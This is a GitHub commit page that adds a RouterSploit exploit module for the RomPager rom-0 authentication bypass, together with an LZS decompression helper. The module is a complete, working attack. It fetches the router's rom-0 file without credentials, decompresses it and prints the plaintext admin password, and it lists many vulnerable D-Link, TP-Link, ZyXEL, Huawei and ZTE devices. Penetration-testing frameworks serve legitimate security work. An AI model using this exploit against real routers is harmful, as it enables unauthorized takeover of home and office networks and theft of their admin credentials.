Skip to content

Commit

Permalink
Merge pull request threat9#150 from 0BuRner/multi-rom0
Browse files Browse the repository at this point in the history
RomPager rom-0 admin password disclosure exploit
  • Loading branch information
fwkz authored Dec 4, 2016
2 parents b024226 + 8820ad6 commit b94875c
Show file tree
Hide file tree
Showing 2 changed files with 249 additions and 0 deletions.
109 changes: 109 additions & 0 deletions routersploit/modules/exploits/multi/rom0.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
import io
import re

from routersploit import (
exploits,
print_status,
print_error,
print_success,
http_request,
mute,
validators,
)
from routersploit.utils import lzs


class Exploit(exploits.Exploit):
"""
Exploit implementation for RomPager ROM-0 authentication bypass vulnerability.
If the target is vulnerable it allows to download rom file and extract plaintext password.
"""
__info__ = {
'name': 'RomPager ROM-0',
'description': 'Exploits RomPager ROM-0 authentication bypass vulnerability that allows downloading rom file and extract password without credentials.',
'authors': [
'0BuRner', # routersploit module
],
'references': [
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-4019',
'http://www.osvdb.org/show/osvdb/102668',
'https://dariusfreamon.wordpress.com/tag/rompager/',
'http://rootatnasro.wordpress.com/2014/01/11/how-i-saved-your-a-from-the-zynos-rom-0-attack-full-disclosure/',
'https://antoniovazquezblanco.github.io/docs/advisories/Advisory_RomPagerXSS.pdf',
],
'devices': [
'AirLive WT-2000ARM (2.11.6.0(RE0.C29)3.7.6.1)',
'D-Link DSL-2520U (1.08 Hardware Version: B1)',
'D-Link DSL-2640R',
'D-Link DSL-2740R (EU_1.13 Hardware Version: A1)',
'Huawei 520 HG',
'Huawei 530 TRA',
'Pentagram Cerberus P 6331-42',
'TP-Link TD-8816',
'TP-Link TD-8817 (3.0.1 Build 110402 Rel.02846)',
'TP-LINK TD-8840T (3.0.0 Build 101208 Rel.36427)'
'TP-Link TD-W8901G',
'TP-Link TD-W8951ND',
'TP-Link TD-W8961ND',
'ZTE ZXV10 W300 (W300V1.0.0a_ZRD_CO3)',
'ZTE ZXDSL 831CII (ZXDSL 831CIIV2.2.1a_Z43_MD)'
'ZynOS',
'ZyXEL ES-2024',
'ZyXEL Prestige P-2602HW',
'ZyXEL Prestige 782R',
],
}

target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address
port = exploits.Option(80, 'Target port') # default port

def run(self):
if self.check():
print_success("Target is vulnerable")

print_status("Downloading rom-0 file...")
url = "{}:{}/rom-0".format(self.target, self.port)
response = http_request(method="GET", url=url)
response.raise_for_status()
with io.BytesIO(response.content) as f:
print_status("Extracting password from file...")
password = self.extract_password(f)
print_success("Router password is: {}".format(password))
else:
print_error("Target is not vulnerable")

@staticmethod
def extract_password(fhandle):
fpos = 8568
fend = 8788
chunk = "*"
amount = 221

fhandle.seek(fpos)
while fpos < fend:
if fend - fpos < amount:
amount = fend - fpos
chunk = fhandle.read(amount)
fpos += len(chunk)

# Decompress chunk
result, window = lzs.LZSDecompress(chunk)
print_status('Decompressed chunk: {0}'.format(result))

# Extract plaintext password
res = re.findall(b'([\040-\176]{5,})', result)

return res[0]

@mute
def check(self):
url = "{}:{}/rom-0".format(self.target, self.port)
response = http_request(method="HEAD", url=url)

if response is None:
response = http_request(method="GET", url=url)

if response is not None and response.status_code == 200:
return True

return False
140 changes: 140 additions & 0 deletions routersploit/utils/lzs.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,140 @@
# !/usr/bin/env python
# -*- coding:utf-8 -*-

##############################################################
# Lempel-Ziv-Stac decompression
# BitReader and RingList classes
#
# Copyright (C) 2011 Filippo Valsorda - FiloSottile
# filosottile.wiki gmail.com - www.pytux.it
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see &lt;http://www.gnu.org/licenses/&gt;.
#
##############################################################

import collections


class BitReader:
"""
Gets a string or a iterable of chars (also mmap)
representing bytes (ord) and permits to extract
bits one by one like a stream
"""

def __init__(self, bytes):
self._bits = collections.deque()

for byte in bytes:
byte = ord(byte)
for n in xrange(8):
self._bits.append(bool((byte >> (7 - n)) & 1))

def getBit(self):
return self._bits.popleft()

def getBits(self, num):
res = 0
for i in xrange(num):
res += self.getBit() << num - 1 - i
return res

def getByte(self):
return self.getBits(8)

def __len__(self):
return len(self._bits)


class RingList:
"""
When the list is full, for every item appended
the older is removed
"""

def __init__(self, length):
self.__data__ = collections.deque()
self.__full__ = False
self.__max__ = length

def append(self, x):
if self.__full__:
self.__data__.popleft()
self.__data__.append(x)
if self.size() == self.__max__:
self.__full__ = True

def get(self):
return self.__data__

def size(self):
return len(self.__data__)

def maxsize(self):
return self.__max__

def __getitem__(self, n):
if n >= self.size():
return None
return self.__data__[n]


def LZSDecompress(data, window=RingList(2048)):
"""
Gets a string or a iterable of chars (also mmap)
representing bytes (ord) and an optional
pre-populated dictionary; return the decompressed
string and the final dictionary
"""
reader = BitReader(data)
result = ''

while True:
bit = reader.getBit()
if not bit:
char = reader.getByte()
result += chr(char)
window.append(char)
else:
bit = reader.getBit()
if bit:
offset = reader.getBits(7)
if offset == 0:
# EOF
break
else:
offset = reader.getBits(11)

lenField = reader.getBits(2)
if lenField < 3:
lenght = lenField + 2
else:
lenField <<= 2
lenField += reader.getBits(2)
if lenField < 15:
lenght = (lenField & 0x0f) + 5
else:
lenCounter = 0
lenField = reader.getBits(4)
while lenField == 15:
lenField = reader.getBits(4)
lenCounter += 1
lenght = 15 * lenCounter + 8 + lenField

for i in xrange(lenght):
char = window[-offset]
result += chr(char)
window.append(char)

return result, window

0 comments on commit b94875c

Please sign in to comment.